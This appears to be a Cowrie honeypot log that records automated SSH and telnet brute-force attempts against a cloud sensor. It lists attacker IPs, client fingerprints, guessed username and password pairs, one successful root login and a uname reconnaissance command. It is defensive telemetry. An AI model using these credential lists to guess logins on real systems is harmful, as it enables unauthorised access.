{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:34:42.462470Z","src_ip":"92.118.39.92","session":"fc46f25e0c4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethereumdocker","password":"ethereumdocker","message":"login attempt [ethereumdocker/ethereumdocker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:34:42.792114Z","src_ip":"92.118.39.92","session":"fc46f25e0c4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:34:43.906776Z","src_ip":"92.118.39.92","session":"fc46f25e0c4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":49076,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c7761e97456","protocol":"ssh","message":"New connection: 2.57.122.210:49076 (10.17.0.5:22) [session: 6c7761e97456]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:35:15.351870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:35:15.360897Z","src_ip":"2.57.122.210","session":"6c7761e97456","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:35:15.463900Z","src_ip":"2.57.122.210","session":"6c7761e97456","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1qq2w3e4r5t","message":"login attempt [user/1qq2w3e4r5t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:35:15.770424Z","src_ip":"2.57.122.210","session":"6c7761e97456","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:35:16.887901Z","src_ip":"2.57.122.210","session":"6c7761e97456","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":50922,"dst_ip":"159.203.135.109","dst_port":22,"session":"d97db8241571","protocol":"ssh","message":"New connection: 2.57.122.208:50922 (159.203.135.109:22) [session: d97db8241571]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:36:36.354009Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:36:36.462740Z","src_ip":"2.57.122.208","session":"d97db8241571","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":57230,"dst_ip":"10.17.0.5","dst_port":22,"session":"146d1ec91805","protocol":"ssh","message":"New connection: 92.118.39.92:57230 (10.17.0.5:22) [session: 146d1ec91805]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:36:57.502680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:36:57.507066Z","src_ip":"92.118.39.92","session":"146d1ec91805","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:36:57.611424Z","src_ip":"92.118.39.92","session":"146d1ec91805","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ether","password":"ether","message":"login attempt [ether/ether] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:36:57.929538Z","src_ip":"92.118.39.92","session":"146d1ec91805","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:36:59.043862Z","src_ip":"92.118.39.92","session":"146d1ec91805","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.165.41.178","src_port":54650,"dst_ip":"10.17.0.5","dst_port":23,"session":"415551c1ed41","protocol":"telnet","message":"New connection: 95.165.41.178:54650 (10.17.0.5:23) [session: 415551c1ed41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:37:11.981027Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":51832,"dst_ip":"10.17.0.5","dst_port":22,"session":"08b7d1e07521","protocol":"ssh","message":"New connection: 2.57.122.210:51832 (10.17.0.5:22) [session: 08b7d1e07521]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:37:23.032622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:37:23.037196Z","src_ip":"2.57.122.210","session":"08b7d1e07521","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:37:23.140804Z","src_ip":"2.57.122.210","session":"08b7d1e07521","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4rfv$RFV","message":"login attempt [ubuntu/4rfv$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:37:23.452065Z","src_ip":"2.57.122.210","session":"08b7d1e07521","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:37:24.601955Z","src_ip":"2.57.122.210","session":"08b7d1e07521","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":5600,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0699e39e597","protocol":"ssh","message":"New connection: 2.57.121.112:5600 (10.17.0.5:22) [session: b0699e39e597]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:38:24.127659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:38:24.134296Z","src_ip":"2.57.121.112","session":"b0699e39e597","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:38:24.234190Z","src_ip":"2.57.121.112","session":"b0699e39e597","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"040789","message":"login attempt [admin/040789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:38:24.706271Z","src_ip":"2.57.121.112","session":"b0699e39e597","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"040787","message":"login attempt [admin/040787] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:38:25.809853Z","src_ip":"2.57.121.112","session":"b0699e39e597","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"040681","message":"login attempt [admin/040681] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:38:26.912314Z","src_ip":"2.57.121.112","session":"b0699e39e597","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"04061997","message":"login attempt [admin/04061997] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:38:28.014653Z","src_ip":"2.57.121.112","session":"b0699e39e597","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"04061971","message":"login attempt [admin/04061971] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:38:29.133014Z","src_ip":"2.57.121.112","session":"b0699e39e597","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:38:30.235772Z","src_ip":"2.57.121.112","session":"b0699e39e597","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":45666,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2851d3dfe0f","protocol":"ssh","message":"New connection: 92.118.39.92:45666 (10.17.0.5:22) [session: c2851d3dfe0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:39:05.977427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:39:06.024868Z","src_ip":"92.118.39.92","session":"c2851d3dfe0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:39:06.082918Z","src_ip":"92.118.39.92","session":"c2851d3dfe0f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"ether","message":"login attempt [root/ether] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:39:06.487382Z","src_ip":"92.118.39.92","session":"c2851d3dfe0f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:39:06.751471Z","src_ip":"92.118.39.92","session":"c2851d3dfe0f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:39:06.754577Z","src_ip":"92.118.39.92","session":"c2851d3dfe0f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:39:06.857403Z","src_ip":"92.118.39.92","session":"c2851d3dfe0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:39:06.862139Z","src_ip":"92.118.39.92","session":"c2851d3dfe0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0056893825531,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:39:11.986570Z","src_ip":"95.165.41.178","session":"415551c1ed41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":54594,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e4c7d73a7ee","protocol":"ssh","message":"New connection: 2.57.122.210:54594 (10.17.0.5:22) [session: 5e4c7d73a7ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:39:34.893251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:39:34.898032Z","src_ip":"2.57.122.210","session":"5e4c7d73a7ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:39:35.002051Z","src_ip":"2.57.122.210","session":"5e4c7d73a7ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz!QAZ2wsx@WSX","message":"login attempt [ubuntu/1qaz!QAZ2wsx@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:39:35.312874Z","src_ip":"2.57.122.210","session":"5e4c7d73a7ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:39:36.424112Z","src_ip":"2.57.122.210","session":"5e4c7d73a7ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":34710,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8e189d3b5d9","protocol":"ssh","message":"New connection: 2.57.122.208:34710 (159.203.135.109:22) [session: e8e189d3b5d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:40:36.971033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:40:37.045440Z","src_ip":"2.57.122.208","session":"e8e189d3b5d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@opens